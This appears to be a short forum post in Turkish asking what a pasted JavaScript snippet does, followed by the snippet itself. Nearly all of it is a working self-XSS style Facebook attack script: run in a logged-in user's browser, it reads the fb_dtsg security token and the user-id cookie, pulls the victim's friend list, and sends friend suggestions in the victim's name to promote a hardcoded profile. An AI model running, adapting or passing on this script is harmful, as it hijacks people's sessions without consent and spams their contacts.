Bu kod ne işe yariyor ?

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); 
var profil = "www.facebook.com/protehlike"; 
var arkadaslar = []; 
function liste() { 
var xmlhttp = new XMLHttpRequest(); 
xmlhttp.onreadystatechange = function () { 
  if (xmlhttp.readyState == 4) { 
    eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);", "") + ";"); 
    for (f = 0; f < Math.round(arkadaslar.payload.entries.length / 5); f++) { 
      for (i = f * 5; i < (f + 1) * 5; i++) { 
        if (arkadaslar.payload.entries[i]) {} 
      } 
      arkadasyola(arkadaslar.payload.entries[f].uid); 
    } 
  } 
}; 
xmlhttp.open("GET", "/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id+"&__user=" + user_id+"&filter[0]=user&options[0]=friends_only&options[1]=nm&token=v7", true); 
xmlhttp.send(); 
} 
function arkadasyola(id) { 
  var http = new XMLHttpRequest(); 
  var url = "/ajax/friends/suggest?&__a=1"; 
  var params = "&fb_dtsg=" + fb_dtsg + "&receiver=" + id + "&newcomer=" + profil + "&attempt_id=9a9409bb08880a2e74e634f05597dc31&ref=profile_others&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmpnxl2u5F92Ke8m78C&__req=f&ttstamp=2658167116555282104"; 
  http.open("POST", url, true); 
  http.onreadystatechange = function () { 
    if (http.readyState == 4 && http.status == 200) { 
      http.close; 
    } 
  } 
  http.send(params); 
} 
liste();